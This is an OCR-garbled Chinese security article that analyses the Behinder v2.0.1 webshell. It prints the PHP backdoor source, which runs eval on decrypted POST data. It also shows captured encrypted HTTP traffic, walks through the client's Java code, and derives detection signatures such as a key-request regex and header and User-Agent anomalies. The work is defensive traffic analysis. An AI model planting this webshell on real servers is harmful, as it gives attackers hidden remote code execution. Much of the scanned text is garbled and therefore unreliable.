IKES, MAIIZIEEX

Fel PAEIRS049 BN SERA 7290

X2 BEIFRSEHB 155 49 RXE.
EXHIT325140F, MITEENRK110H.

0x07 &K 2MWkEB?

TUKME TR — A S RN E R P . A& F, H—fwebshell HH L
BA"XT1"HRERNRTEETHE, BEE 2L &ARENE. RTREMNEMW
webshel 1815 KRR L, 7 UKiE " 1E 1k N iz 1My 2k .

A NEYeb i EERE S [1001s5 /R wyr. 10015. net ]

://192. 168. 81. 130/shell. php K4 v2.0.1

% URL: |[http://192. 168. 81. 130/shell. php (=42 3
BAEER | GSiiT | B | rHER | socks IR | E¥snell | HIBFEER | AEXAB| ST | BHRS|

System Windows NT WIN-CHTN2KS 1A9M 6.1 build 7601 (Windows 7 Professional Edition Service
Pack 1) i586

Build Date Jul 20 2016 11:08:49

Compiler MSVC11 (Visual C++ 2012)

Architecture *B6

Configure cscript /nologo configure js *—enable-snapshot-build" "--disable-isapi® "--enable-debug-pack” -
Command -without-mssqgl* “--without-pdo-mssql” “--without-pi3web" "--with-pdo-oci=C:\php- :
sdkwracle\x86unstantclient] D\sdk shared” *-—-with- dbcwmmmw
\sdk,shared" M11g=cwmmmmlw1mm -enable-
ohbiect-out-dir=. fobi* *—enable-com-dotnet=shared" "--with-mcrvpt=static" "--disable-static- _FI:I

<1 |

T -

TUKEE T P i T JAVA, FTUAW LA G, R ANv2. 0.1, ARAEMERZA
MIRRA B BORSETH . FEIJREN: HEAFE . AT EM &, XHFE M, Socks
I, #ishell . HIFEEEH. BE NAHSE, ThEgdEH E K.


javascript:void(0);

FATCAPHP WA N B, 7 oK b ” 78 ARk 55 i C FFopen_ss1B, EHAESIMZE H ik, FHK
1647, WA PR NAES-16. IAEBM R AF (JedF R A B IAESTE A £ 0 & N 418
A) LARRE R E L IR %, WA TRRIE, EFEERENE.

I i RE K S N B F R

2 it 55 45

GetiF K
HEBH >  ENFEEH
Z4RE ASession
ERER BREEE A
n&EPayload
l Postid K
&iEPayload - > 2% Payload
FERHNTESR l"‘ H1{TPayload

S % 7 i PG e t 2 3Rk S T 3K
i 5% o P AEBE AL B, MBS ANSessiondf R 5 R 8] & 7 b .

PN EHE, Mpayload HAESE N2, HPOSTE R KIEIE K.



AR 55 o I B 5 Kk, M Sessionf HIEHMBEIE RIPIBody 0, Z M rPayload, ¥

BB 5 R R 8] B 2% P b .
2 AR HOR [B 25 R, BosBUT S L.

RMEHAER Y, "kl " £ fTPayloadZ R A, FFERA BRINE, X &HFKATA
DMBE T webshell P FH .

shell.php
<?php

error_reporting(0);
session_start();

(isset($ _GET['pass’']))

$key substr(mdi(uniqid(rand())),Lu);]
$ SESSION[ 'k’ ]-$key;
print $key;

$key-$ SESSION['k'];
$post-file get contents(“php://input™);
(!extension loaded(  openssl®))

{

$t-"base64_" . "decode";
$post-$t($post."");

($i-9;%i<strlen($post);$i++) {
$post|[$i] $post[$i] Pkey[$i:1215];

$post-openssl decrypt($post, “AES128", $key);
}
$arr-explode(’|",$post);
$func-%arr[0];
$params-$arr[1];
class C{ function  construct($p) {eval($p."");}}
C($params);
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GET /zhell. php?pass=593 HTTP/1. 1 -
Content=type: applications-www-fora-urlencoded

Ozer—Agent: Mozilla/6.0 (compatible; MSIE 9.0: Windows NT 6.1 WOWS4: Trident/5.0: SLOC2; .WET CLR 2.0.50727; .NET CLR 3.5.30728: .KET CLR 3.0.30729; Media Center PC 6.0:
InfaPath. 3: .NET4.0C: .HETd. OE)

Host: 192. 16881130
Accept: text/html, image/gif, image/jpeg, *. g=.2, »/v; g¢=.2 jﬁ
1 1,

Conmectsom Fespalive — Wk ijj lilwebshell
HTTR/1. 1 200 OK

Date: The, 09 Jul 2020 08:43:13 GNT

Server: Apache/2.4.23 (Win32) Open3SL/1.0.23 FHP/S.5. 38

¥-Powozed-By: PHP/5.5.38

Set=Cookie: FEPSESSID=cns3060c k46337 qnrIvsqqtes; path=/

Expires: Thu, 19 Bow 1981 08:52:00 GNI

Cache=Control: me=stors, no-cache, must-revalidats, post-check=0, pre-check=0

Pragna: no-cache Ay v s = F
Content-Length: 16 Hﬂ%‘iﬁﬁlﬁlﬁlp ?Hf‘ﬁ'i%:%ﬁ
Eeep-Alive: timecut=l, max=100
Cormection: Keep-Alive
Content=Type: text/htnl

£c66£423644TA9220ET /ahell. phpipass=352 HITR/L. 1

Content—type: application’z-www—fora-urlencoded

Dzer-Agent: Mozilla/B.0 (compatible: NSIE 9.0: Windows NT 6.1: WOWG4. Tridemt/6.0: SLOC2: .HET CLR 2.0.50727; .HET CLE 3.6.30729; .NET CLE 3.0.30720; Nedia Center PC 6.0:
InfoPath. 3: .NET4.OC: .HET4.(E)

e i e 2, /v gm2 =

Accept: text inage/gif, image/jpez, *: @2, W o= — Y.

Cormasction: keep-alive ﬁ%‘ _-fﬁ-\-lvjj‘ ]"-'TJ \'-‘E’.‘h ShE‘ll
HTTP/1.1 200 OK

Date: Thu, 09 Jul 2020 08:43:13 GNT

Server: Apache/2.4.23 (Vind2) OpenS5L/1.0.2j FHP/S. 5. 38

A-Fowered-Dy: FHF/G.5. 38

Set-Cookie: PHPSESSID=djmtikicj2f8vsfudgfdifqe??; pathe/

Expires: Thu, 19 Kow 1981 03:52:00 GNT

Cache=Control: mo-stors, no-cache, must-rewvalidate, post-check=0, pre-check=0 )

Pragna: no—cachs j a
Friow: poache MRS miR El, HHr R
Eeep-Alive: timeout=8, max=93
Cormection: Keep-Alive
Comtent-Type: text/htal

0161a6755€11Tc05F0ST /shell. php HTTF/1.1
Cortent-Type: application/z-www-fora-url ded 4 * n T A=

Cookie: HPSESSMj“ht&)ﬂM&uMdiWE! pttht} L)‘ POSTﬁﬂ‘ ﬂ:tlt:l I"] glﬂfn

Oser-Agent: Mozilla/S.0 (compatible: E 9.0. Windows NT 6.1: WOW6d. Tridenmt/5.0. 2; .BET CLR 2.0.50727: .NET CLR 3.5.30728: .KET CLR 3.0.30729: Madia Center PC 6.0:
InfoPath. 3. . NET4.0C. .MET4. (E)

Cache-Control: no-cache

Fragna: mo-cache

Host: 192, 168.81.130

Accept: text/himl, image/gif, image/jpeg, #. g=.2, ®/%; g=.2
Cormection: keep-alive

Content—Length: 1068

DIERndBrwl j Indxf anb T )y SkIL TPewa/F 1 2 ¥O1nPS o6 Bw/ XY 2Pwq 1Y jVh) TBOnS e 12AT doKkeG 861801 0CPt SniSB2apVrd 150 ¥5/ SH1 ISToC YHFhSt-+tabt/ d6v0Ma SCRCt 00VomlIgCUgLugnd /tEnf Tt vBugJ 2804/
Soa+ kDY 145G EwE6 1P LeCovahFROECTQQ 1 Sy Inraw 2w We+K 11 BuChIC 3i THhQ T W+ EUBNA £ £ 1 2 j5CeP 1 dRr AEhsJENLrzvBoOn+ r AEZX oNOUE ZUR WL 2 6Vvt 4 d0dqae TaSERTIqfOTLE gRud j B0Ra I pVRQVa GUB1F v
WewSFYXT/ 3Tlhg IESCxTos02t Nla¥x WO AYWaF ] ILILBG Aw T AVD VoS o+ KH*G Ko rFYBTS ) ¢ IUN 304 Yp 1 S4ukoscEDWI Buk Iqalll #vnar 5 32uTNE cwBiMpAIwi PRSOE 28 RpO i s e 2wBCluyzFUS cWBILVDLug 1 yukQcHTI | LoHEEF 3
JEfASPPAY) Ahuz+oBzqT+BUPWLY julf 2L ABaTulaHIX5 1 6F1 181 Doy PNt +nd'Q/ Gt TAV2vi hfdXC/ qbED ) aft AKX 5D1 HUT 1B/ 14 | OxFw¥Nak 1919 qEnILEY a MG bNUHPGF I 153U I0 0 0x] £/ MHzwDLARRY/
TejhnzeXdR Sk Wbz ] ISalNTO g IWQAQ 30oyddanSD/ Klyk IDGUBDQSeVekik st 9Tt/ TWI t J¥bNTpaldictx 1 oCedbibCuldNT 4R+ kv 020qT Adh0 22y 9] oKbaHSrk BNER | 3Cqlck/

CTouTOFbshG tul WV TRwdS r i Wik XoQ UhR a2 TEUHQ T IBURKEvM1 1 g Ui SRp P Uece 00T g SymuedOS T 6UAAr caleHyF ie j shbakr RAuT+EneP Ie Sy WE DL UL 1 TvG rDLqul 2DVAY 3yCedxcAs 31 TEuDEBn/
u¥qdaEHVO+ 1660 Us I nThuss | reFerD Ing] SmkbG/ 1 YT 5LL1 921 Dbwplukdz dawinl Q2 Tal 3q3 eCF 1 jpugdxH/ KRF IuF g I4=HTTE/ 1. 1 200 OK

Date: Thu, 09 Jul 2020 08:43:13 GNT

Server: Apache/2.4.23 (Wind2) OpenSSL/1.0.2j PHP/S. 5. 38

A-Powered-By: FHP/G.5.38

Expires: Thu, 19 Now 1981 08:52:00 GNT

Cache-Control: no-store, no-cache, must-revalidate, post-checks0, pre-checks0 ,

o £ R 25 4308 [ FF A6 2

Content-Length: 128 u] LL

Eeep-Alive: timecut=5, max=98

Cormection: Keep-Alive

Comtent—-Type: text/himl

G/ 110Gt oaFpS e gak YT+ VaeHqL+p WS REFapWI Iy T01 TCENde g 24/ o | w/ di SdwTOsvrPoliOncwEdutt, pt FotT iMVEATWAT 4Bl MVxORANT o6VS s cfxVek TPOST /ehell. php HTTE/L. 1

Content=Type: spplication/z-www—fors-urlencodsd

Cockie: PHPSESSID=qjintkkicj2fivebudefdifqedl: path=/

Ozer-Agent: Mozilla/8.0 (compatible; MSIE 9.0 Windows NT 6.1, WOWG4. Tridemt/5.0: SLOC2, .NET CLR 2.0.50727. .MET CLR 1.%5.30728. .KET CLK 2.0.30725. Nedia Center PC 6.0:
InfoPath. 3; .NET4.0C; .HET4.0E)

Cache-Control: no-cache

Fragna: no-cache

Haers 107 1A% A1 130

MR S5 R E IS R E, s ROR R AR K, 2R AR RA T30 AT A0 .
AT A 55 o 3R 8] fR) 5 A, O 7 R IE AR SC N A R AT R .

figt 5 4 R 090 T AR



$result - array();

fresult["status™] I 64 encode("success™);
$result["msg"”] b: encode($content);
$key - $ SESSION['k'];

echo end Yl i ( j-=.-::-r| eand |Ir1|"($r‘t'}5u1t),$k(_)_y);

rypt($data, $key)

('extension loaded('openssl’))
I
(

($i-0;%i<strlen($data);%i++) {
$data[$i] $data[$i] $key[$i 151
}

$data;

openssl_encrypt($data, “AES128", $key);

AT Rz OAER R DA TSONK N M success I A, (H R 28 45 £ 6 H
AESHEZE —E Mm%, Ul IATE Elwebshel L&A M, 10 EEZMEM.

0x04 WEESE

BB 3R — BHAAE A Wr ke 8y, 2R UE BB W HF 2 20, i E A W E R B
o "UKIE M ERBRAV2. 0.1, ERMT2019. 22 /A #ATEER. &R
Fe R TN ZR gE KWAF ¥ & g8 0 L g Ak B AT 20 d 9 O R .

FAHEHIN:

. I [24504]: EFURIBISQUEA

IZE5[24505]:Apache Axis 1.4 ImfECE8HiT(CVE-2019-0227)

IZi#[24506]:Coremailie ZHME R SHE Dt EifGiR=

i [41696]|KBpN=PHP Webshell 324 HE

L5 [41697][2k32P0ZEASP Webshell3Z{E EE

|

|
[

75 [41698][2kBpN= ASPX WebshellSZ{ H&
475 [41699] |38 pN= ISP Webshell3Z{4 &
. Bk [24507:httpiERuri/referer=FE B FEMN

@ N koW =

—. fEseRn

27004872 thinkphp5.x_controller_name_rcefiftthinkphpifiEESFm
25612336 PHP Shell inject{fitbds<5E A BHRAR0)

25612334 linux command injectfiAbia<5EA BN

18612236 password_accessti{LEEESFERAFAIN

27526166 WebLogic Async Remote Code Excuteffi{tWeblogicBAirm
BRACAEE SR, mebsheu%ﬂ
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EMMEXERR AT

PISTREAFE ©

Q s o, P EhR AT brac MaAE PR o)

S S RS 4922, 7004 BRTR

RN ER? SihEStem "ikiS" - FreeBufBRARS25. .
2019511820 - XEBF HiEEINAR sEE I 5651 =RIEEURLEE S5554E2:0
EOTRIURLES] BRI 3:Accept=REa (D755 s8FHiE4:UserAgent=FER (AT £51T....

.

https://www.freebuf.com/news/2... ~ - EEREE

Tl l7kiSwebshellZZHi&@if, PHP 12306/Ef-CSDN
2019485218 - MRTIILESIKEV1 OB A EAZE EAY A5 E SRR, user-agent STERY
SinEERETE. tILliBidsduser-agentiiTiellodr, EUREPOSTIREIEFIEIE. ..
©) CSDNEAMEK ~ - BEthEE

ENWebShellZ~iRATRESAI . -FreeBufG EXM% S HTIFIEF &

2019558290 - Rk ERIFNFHIN—fMWebShellZFEE. 1%
iERR NS OMARRHTINE BNEHERRERERRENE
RIZEEEET WebShell B9 F R8T TikiEE—>a)..
https://www.freebuf.com/column... ~ - BEHE

ZKEERNE ) WebShell e ISR 3= 4SHiE

201951288H - A30RIT S S MR KERA R AP A (asplaspx]jsplispxlphp) S& 5
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HoMID-GUISE k4mFE TR, RMFJARBIRMBINMG . v LN BLEFEBUI MG A
MeaAER, KIS M TSWITHERENUT,

= Behinder. jar &

B8 META-TNIF AL s wai o
dEml ‘,la-m.flassw |
& 8 rebeyond package net.rebeyond.behdnder.ul; Ky
= @ behinder
H- @ core = import Sava.awt.Toolkit;
&8 pavlead import java.awt.datatransfer.Clipboard;
' & resource import java.swt.datatransfer.StringSelection;
= ul import Sava.awt.datatransfer. Transferable;
& }.,Eanclnfolilnls class import java.ie. ByteArrayInpuiStreas;
& CadUtils. class :ﬁ: ;::.::.:::Imuuﬁr\ess:
PEE L PraKy
& R Comsincianil s s
'BPCLstuTable class impart jnllulll‘ﬂlp' "
# 4 DENanagerltils. class import nEk :'“' -EI]I I’:H:El: care.Shelldannger;
& ﬁt“"l"““ class import pet,rebevond behinder utils, Constants;
® pﬁ"ﬁldm tils. class fisport net,rebevond behinder,ytils Utils;
& isgort pr.eclipse. suk.events DlsooseEvent;
{43 Mainshell. class import gegiecliose,swt,events,Dizposelfstener;
6 ProxyFors. class import grg.eclipse. sut,events Moyseddapter;
4 ShellFors. class iseort pr.eclipse. sek.events MouseEvent;
i Srarver. class import grgecclinsc.subocvents Moysclistener;
-8 utils isport org.ecliose,swt.events,Selecticnidanter;
1l .Ds_Store imgort grg.eclipge.sntaeyents,SelectienEvent;
1 .DS Store imgort i
DS, lswm :m: org.eclipee. sut RPOSHEGe,Davice;
B8 0“ eclipze Wmﬂm_
gcgecliose, snt lavout, Gedddata;
6 rest feert smaclimc. bt ddlanty
L .D5_Stere import geg.ccliose. sut.wideets. Composite:
g asa=3.3.1. jar import gre,eclivse. st wigeets Control;
‘ﬂg Juvax. servlet-api-d. 1. 0. jar fnport org.ecliose. iut widgets, 0is0loy;
d-e json=20130130. jar import pr.cclivse.snk.widecks. Events
f1ed jsprapi=2. 0. jar import graecliee, sut wigeets,Group:
& 5-_'3 org. eclipse. core. conmands_3. 9. 0. v201T0530-1048. Jar import aeg.ecliose. sut widgets, Lobel; w
s org. #clipse. core. runtine_3. 13. 0. w2017 TO20T-1030. jar o 2t sotnoro : =
= org. eclipse, text_3, 6. 100, v20170203-0814. jar N

RIXFERATERZEHEclipse®EWindowsBuilder, KREZAESWIIH .
Z3WindowsBuilder

ffEclipsefiMarketplace & WindowsBuilder, AidiInstall B A] 2%,

==Eclipse Narketplace

Eclipse Marketplace

Select solutions to install. Press Install Nov to proceed with installation.
Press the “more info” link to learn more about a solution.

Search]RecentIPopularIFavorite:]Installcdl: Giving IoT an !dgal
Find: |P'indowBuildcr X |All Markets ~| |A11 Categories ~] EI

WindowBuilder 1.9.3

**k NEW VERSION 1.9.3 ***k ¥WindovBuilder is conposed of SYT Designer and
Swing Designer and makes it very easy to create Java GUI applications
without spending a... more info

by Eclipse Foundation, EPL

# 582| | Installs: 398K (11,853 last month) Install |

IR RATEZ G EEE TSWIm H, BRI AT A s wt A 8k 2k 5 308 R R R .



— New Project

Select a wizard
Create a Java project with SWT/JFace support

V¥izards:
It';z'pe filter text

#-(= General
#-= Gradle
= Java
#- = Haven
# (= Plug-in Development
== ¥indowBuilder

&= SWT Designer

- ¢4 SWT/JFace Java Project

#- > Examples

HAVR Se g ¥ 2 S5 IR A ARG S ATH, AEd#ERBEHEBMBEEMRE (26 KK
RS RIE R, LA M g B D E 0 B A5 R ORE B0 A5 5 22 1R R AT R K

Ol Ol e e o LR P P A R - O R R e e et
% Debug &5 Project Explorer i BR Y 8 = O)|[NKin Java 2 [ BasicIngs. Java
2 Echinder ) 3G
El l-'« JRE System Library [JavaZE-1,.8] Aie public static veid main(String[] args) {
=% sre 41 try {
: f' -I‘:;tc-::cbcwnd- behinder a2 new Main().open();
{8 payload 43 } eateh (Exception e) {
- resource ad e.printStackTrace();

= ul 45 }
[0 BasteInfalltlle. Java A6 }
i Cadlitile. Java AT
@ 4] ConnectBacklUtils. java
- 4] CustemStyledTexnt. fava
- U] CustomTable, Java
-4 DERanagerUtile. Java
) EvalUtlls. Java
J] FileManagerUtils. Java
J] Main. Java
J] NainsShell. Java
i) ProxyForn. Javs
= [4] ShellFern. Java
&) Starter, Java
=8 utlls
w i org. eclipse
= mh Referenced Llbrarles
= 1lbs
& data.db

=lox]

it | o b (8 I
2020-07-08 15:49:53

B AT T T B R T S ¥ 2 R AR .



0 error(s), 0 warning(s)

ALER I H SRR RIEW, TEZHEAEnetfl T, Main. java NFEEF A M.
X B R S A B A AR

248 sTe
=4 net. rebeyond. behinder
= i core
#- 4] Crypt. Java

®- 4] Decrypt. java Ty f‘:{r- %
®- i) Para::..]iva ‘————_—_‘_—- ﬁ l_." ]—jj HL;! E fﬂ;r i~ Shel lﬁIJ @‘* = IEA g
#®- 4] PluginUtils. java

@ [4) ShellEntity. Java

® [4) ShellManager. java

®-4) ShellService. java

MR &MEWREIARENPayLoad U

® B ccharp
w4 java
T UTEAM .

#- [} BasicInfoltils. java
@ 4f) CrdlUltils. java
- 4] ConnectBackUtils. Java
- ) CustomStyledText. java = 2 .
- 4] CustonTable. java P L I ??'ﬁ L] EEIjJ HE —”_-RTJ‘JL\!:
#- o)) DENanagerUtils. Java W
® [{) EvalUtils. java
©-4) FileNanagerUtils, java
&4
@ 4] NalnShell. Java
@ i) FroxyForm. java
®- 4] ShellFern. java
#-f] Starter. Java
=248 utils
=& Jc
#- 1) BasicAuthenticator. java
- CipherUtils. java . Jm, B
& [J) Constants. Java {———'—'_'_'—- I/ \gt EEE% ﬁlg?‘iléi
= ) Proxyltils. java
#- 4] ReplacingInputStrean. java
@) SSLExcludeCipherConnect LonHelper, java
@ [) StringJavaObject. Java
-4 Utils. java

T IR AR E R E R R, A & B AR T I H S



4
maTFE

0206 SEERB

Zead X W B 2R UK G T R AE B B R 2 5, A LSRR R R R AR AE 4 T 1B B
Br o PAPHPRRA Y1, HoAhiE 5 hicA 7 [ L.

1. ZHZ N MURLZ %

HEHMP S EH TR S, HGETIERTT A, Bikwebshel 1% Npass,
I HZ B E 3 AL BE L&+ .

GET /3he]l.php1pass=593 HTTP/1. 1

Content—type: application/x—www—form-urlencoded

User-Agent: Mozilla/5. 0 (compatible: MSIE 9.0; Windows NT 6.1; WOW64: Trident/5.0; SLCCZ: .MET CLR 2. 0. 50727
.MET CLR 3. 5.30729: .NET CLR 3. 0. 30729; Media Center PC 6. 0; InfoPath.3; .NET4. OC; .NET4. OE)

Host: 192, 168. 81. 130

Accept: text/html, image/gif, image/)ipeg, *, g=.2, #%/* g= 2

Connection: keep-alive

Mwebshell L&, Z8E 1K HL 87 IF WA AR T SE B -



<?php

error [-:_-[';;”.1.
start();
t($_GET['pass’']))

$key=substr(md5(unigid(rand())),1
$_SESSION[ 'k ]-$key;

print $key;

7 7 A A R R BE AL AL

JUtils. java 2

public static MapcString, String>» getkeyAndCookie(itring getlrl, String password, MapcString, String> reguestHeaders) throws Excepiion {
disablessiVerification();
MapcString, Strings result = new HashMap<s();
StringBuffer sb = new StringBuffer();
InputSitresmResdar isr = null;
BufferedReader br = null;
URL wrl;
if (getUrl,indexDF("¢") » @) {
s = naw URL{getUrl + "&" & password + "s" & (new Randonm()).nextInt(l00a));
} alsa {
1 = new URL{getUrl + “f" + passuword + "=" tl(ntu Random() ) .mextInt(100a))

}

WATHRFE T — BT e 1F Bl A R

\.(php|jsplasp|aspx)\?(\w){1,10}=\d{2,3} HTTP/1.1

ZHEM AT LLUCAC 1 - 1062 2 B fflwebshell, 3 H S8 ME ~N2-3060 15 %,
1& o L .

WM S EREN S BMBENE (BILEA Y28 JFHENS AR E N

Q/I\O

(A QERIVENE

GET /shell. F)hd?bjﬁluP=hU0hU JETEhROL=COOUQLz &pass=FLFfsE&RAF aMz R=ESZAEECTHHHU=p 1M3R6F &eAknBR=nY6L0 HTTP/1.1
Content-type: APPIICATION, X-wild- TOTW- U TENC Gaed

user-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) Applewebkit/534.3 (KHTML, like Gecko) Chrome/6.08.472.33
safari/s34.3 SE 2.X Metasr 1.0

Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

2. headerd ffJContent—-Type

MikfEheader 1 HjContent—typeF B, £ — KB FTHGETE U5 & & H % F K
B, REPOSTHEAM UM A =H. H7IKEE" AR ZCETIE R EZPOSTIE XM Uy 17 35 &
B MeabER T BRI gE, T H A FBRAR/ANEE AR R, B DU T I A B 2
¥ NETTRDW i/ N



GET /shell, php?pass=593 HTTP/1. 1 =
Content—type: applicationix—ww—fom—ur]encodedj

User-Agent: Mozilla/5. 0 (compatible, MSIE 9.0, Windows NT 6. 1. WOW64; Trident/5.0; SLCCZ; .MNET CLR 2. 0. 50727,
.MET CLR 3.5.30729; .NET CLR 3. 0.30729; Media Center PC &.0; InfoPath.3; .NET4.0C; .NET4. CE)

Host: 192. 168. 81, 130

Accept: text/html, image/gif, image/ipes, *. q= 2, */*% q= 2

Connection: keep-alive

PATRE T P 5 1 1 AR -

ShellService. Java 2

249 public ShellService(1SONCbject shellEntity2, String userAgent) throws Exception {

25 this.shellEntity = shellEntity?;

26 this.currentlrl = shellEntity2.getString(“url®);

27 this.currentType = shellEntity2.getString("type");

28 this.currentPassword = shellEntity2.getString("password™);

29 this.currentHeaders = new HashMap();

30 —this cuppentHeaders pui("liser-Agent™, ysecAgent);

31 if (this.currentType.equals("php™)) {

32 this.currentHeaders.put(“Content-type®, “"application/x-www-form-urlencoded®™);
33 }

34 mergeHeaders(this.currentHeadars, shellEntityZ.getString(“headers™));

35 Map<String, String> keyAndCookie = I.Itihth!.s.curr\enﬂ.lrl, this.currentPassword, this.currentHeaders);

ShellServiceflF —MShellllk%s, EHME R PILATHW 7, WREXMEZphp
M fEheader # AN Content-type k. H7E35/THgetKeyAndCookie [ il 5 i
RIEGET I RIRI = R, ¥ lbheader ki AN, ALK IEGET i SRk AL i) & 45
24

& o8 B

GETHE A Ui B Fheader Il FE, POSTHE R Uim ¥ {EE N Content-Type
et A text/html; charset=utf-8" ARl B Z 2N (HWETLLAS)

& B 1 ROR

GETiE 3K .

GET /shell.php ?nLxqrR=FhQRUSEqHUYLQ=AAUYT Z2&pass=wKpQ3k&0 Icha=MaskafEDFUSE=C55MQ8ubz feeF=cpUNyC HTTP/1.1

User-Agent: Mozilla/5.8 (Windows; U; Windows NT 6.1; ) AppleWebkit/534.12 (KHTML, like Gecko) Maxthon/3.® Safari/534.12
Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; g=.2

Connection: keep-alive

POSTi& K :

771db3csadeabdeaPost /shell.php HTTP/1.1

|[content-Type: text/html; charset=utf-g8 |
Cookle: PHPSESSID=n3832119r19153b1fcg739j7ps5; path=/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
cache-control: no-cache
Pragma: no-cache
Host: 192.168.81.130
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
connection: keep-alive
Content-Length: 1068

3. headerd ffJUser—-Agent



User-Agent2f i A RHE, 2B ENESNBEERAEEFEERE. £7KE”1HEH
RAFEUser-Agent Fefltb Il @, R ACEHRTXANNE., ik TRE: B4
shel lEZSMNITANWERUABFEHLERFE — .

GET /shell. php?pass=533 HTTFP/1.1
Content—type: application/x-www—form-urlencoded

User-Agent: Mozilla/5. 0 (compatible; MSIE 8.0, Windows NT 6.1, WOW64, Trident/5. 0; SLCCZ;
3.5,.30729; .NET CLR 3.0.30729;. Media Center FC 6.0; InfoPath.3: .NET4.0C; .NET4. OE)

.NET CLR 2.0. 50727, .NET CLR

Host:
Accept:
Connection: keep-alive

192,168, 81, 130
text/html, image/gif, image/jpeg, *, q=. 2, */% g=.2

K& T IXEE 7 I TAVAALHS

U) Baglelnfolitlle. Java I

public static vodd
int ual’rldex =

LLERZEBEINMNE mConstants. userAgents TE T — 1 H.

#) Constants, Java B
B i package net.rebeyond.behinder.utils;

t pub:u.c ¢lass Constants {

public static int ENCRYPT_TVPE_AES = O;
public static int ENCRYOT_FVPE_XOR = 1;
public static int MEAMU ALL = 6%905;
public static int MEMU CLEAR = 4096;
publie statie dmt MENU COPY = 16;

public static int MEMU COT = 1

public static int MENU PASTE = 256;
public static dmt MEND SFLECT ALl = B5536;
public static int PROXY DISASLE = 1;
public static int PACXY ENABLE = @;
public static imt SEALCMD RINNING = @
public static int REALCMD STOPPEDR = 15
public statie String VERSION = “v2.0.1%;

=

baselnfoView, final Tree dirTree, final Text cndview, final Label connectitatu

3

public[static String[] wserdgents = {

"Mozillas5.0 (Hindows NT 6.1; HOWGA) AppleHebkit/535.1 (KMTML, like Gecko) Chrome/14.0.835,163 Safarifs535.1%,

"Mozilla/5.@ (Hindows NT 6.1; WOWGA; rv:6.0) Gecko/20108181 Firefoxf6.8%,

"Mozilla/5.8 (Windows NT 6.1; WOWE) Appledebkit/534.58 (KHTHL, like Gecko) Version/5.1 Safarif53d4.50%,

"Qperaf9.82 (Windows NT 6.1; U; zh-cn) Prestof2.9.168 Version /11,507,

"Mozilla/5.@ (compatible; MSIE 9.8; Windows NT 6.1; Hindd; x64; Trident/5.8; .NET CLR 2.0.5@727; SLCC2; .NET CLR 3.5.38729;

"Mozillaf4.@ (compatible; MSIE 5.9; Windows NT 5.1; Trident/4.d; GTET.E)",

"Mozillaf4.@ (compatible; MSIE 7.8; Windows NT 5.1)7,

"Hozillaj4.@ (compatible; MSIE 6.9; Windows NT 5.1; sV1)®,

"Mozilla/5.@ (Windows; U; Windows NT 6.1; ) AppleHebiit/534.12 (KHTHL, like Gecko) Maxthon/3.9 Safarif534.12°,
“"Mozilla/4.9 (compatible;

"Mozilla/5.@ (compatible; MSIE 9.0; Windows NT 6.1; WOWR4, Trident/5.8)" };

SNET CLR 3.8.3272%; Mec
"Hozillaj4.@ (compatible; MSIE 8.9, Windows NT 6.1; WOWR4; Trident/d.d; SLCCZ; .NET CLR 2.8.58727; .NET CLR 3.5.3072%; .NET CLR 3.8.38729; Media Ce

MSIE 7.9; Windows NT 6.1; WOWS4; Trident/5.9; SLCC2; .MET CLR 2.8.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30720; Media Ce
"Mozillafa.@ (compatible; MSIE 7.0; Windows NT 6.1; WOWS4, Trident/S.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30720; Medis Ce
"Mozillaf5.@ (Hindows; U; MWindows NT 6.1; en-US) AppleWebkit/534.3 (KHTML, like Gecke) Chrome/6.9.472.33 Safarif534.3 SE 2.X MetaSr 1.07,
"Mozillaf5.d (compatible; MSIE 9.0, Windows NT 6.1; WOWSA; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30720, Media Ce
"Hozillaf5.8 (Hindows NT 6.1) AppleWebkit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/$35.1 QQBrowser/6.9.11079,201",

"Mozillaf4.@ (compatible; MSIE 7.0; Windows NT 6.1; HOWG4; Trident/5.9; SLCCZ; LNET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Ce

XHR R UAE S RN SR A L IH, . Chrome/14.0.835. 1634220114
KAMIMA, Firefox/6. 02201 14 PR A « X B il U 2% 26 AR/ N, Ar BL4F
MER NI R, AT RALE R S %,

(CR@SE T

il B TR BB W S SR UAR B N E W IHUA R

& JE B ROR

20204 KA Firefox 75.0:

m:cept. text;’htll, 1lage.!g1f image/jpeg, *; q=.2, */*; q=.2
connection: keep-alive

9=HU1RSRY IMHTXF=20VTH HTTP/1.1 ﬂ



20194F 11 H K AMMChrome 78.0.3904.108:

User-Agent: mMozilla/5.0 (Windows NT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 safari/s37.36

Host: 192.168.81.1306
Accept: text/hitml, image/gif, image/jpeg, *; g=.2, */*; g=.2
connection: keep-alive

4. header T HJAccept

fEifKheader F MAccept PRI A2 N ILEARKME, HEAGETHEAMPOST
T B SR By AF A . T AR IR R B B g B A B U5 1 R SC P Accep t UME A 22
KAFER . P VARG AR B W] BLAR 9 — A 58 0 A 200 B T AR AR A

GETiH 3K :

GET /shell.php?fve7s=1vs0f21&rcMLPry=tgthywn&Didba=bIuMsipass=IyMUNNhEkEeroj=acf guiafo20L=NBhtxjT HTTP/1.1 il
User-Agent: Mozilla/5.0 (Windows NT 6.3) Applewebkit/537.36 (KHTML, like Gecko) chrome/7g8.0.2904.108 safari/537.36

Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 |

connection: keep-alive

POSTIH

5c95e7d3906724bbP0oST /shell.php HTTP/1.1

Content-Type: text/html; charset=utf-g

Cookie: PHPSESSID=65t6ontd4oq22cgsg2h2oc7emcr?; path=/

User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
cache-control: no-cache

Pragma: no-cache

Host: 192,168,.81,130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2|

